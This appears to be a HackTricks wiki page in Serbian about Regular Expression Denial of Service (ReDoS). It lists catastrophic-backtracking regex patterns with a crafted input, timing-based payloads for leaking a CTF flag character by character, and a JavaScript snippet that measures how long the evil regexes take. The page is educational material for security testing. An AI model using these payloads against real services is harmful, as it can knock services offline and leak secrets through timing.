Regular expression Denial of Service - ReDoS

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Regular Expression Denial of Service (ReDoS)

Regular Expression Denial of Service (ReDoS) se dešava kada neko iskoristi slabosti u načinu na koji regularni izrazi (način pretrage i usklađivanja obrazaca u tekstu) funkcionišu. Ponekad, kada se koriste regularni izrazi, mogu postati veoma spori, posebno ako deo teksta s kojim rade postane veći. Ova sporost može postati toliko loša da raste veoma brzo čak i sa malim povećanjima u veličini teksta. Napadači mogu iskoristiti ovaj problem da program koji koristi regularne izraze prestane da funkcioniše ispravno na duži vremenski period.

Problematični Regex Naïve Algoritam

Proverite detalje u https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Zli Regexi

Zli obrazac regularnog izraza je onaj koji može da se zaglavi na kreiranom unosu uzrokujući DoS. Zli regex obrasci obično sadrže grupisanje sa ponavljanjem i ponavljanje ili alternativu sa preklapanjem unutar ponovljene grupe. Neki primeri zlih obrazaca uključuju:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} za x > 10

Svi su ranjivi na unos aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS Payloads

String Exfiltration via ReDoS

U CTF-u (ili bug bounty) možda kontrolišete Regex sa kojim se usklađuje osetljiva informacija (zastava). Tada bi moglo biti korisno da stranica zamrzne (timeout ili duže vreme obrade) ako je Regex usklađen i ne ako nije. Na ovaj način ćete moći da izvučete string karakter po karakter:

  • U ovom postu možete pronaći ovo ReDoS pravilo: ^(?=<flag>)((.*)*)*salt$
  • Primer: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • U ovoj analizi možete pronaći ovo: <flag>(((((((.*)*)*)*)*)*)*)!
  • U ovoj analizi koristio je: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Kontrolisanje Unosa i Regex

Sledeći su ReDoS primeri gde kontrolišete i unos i regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Alati

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks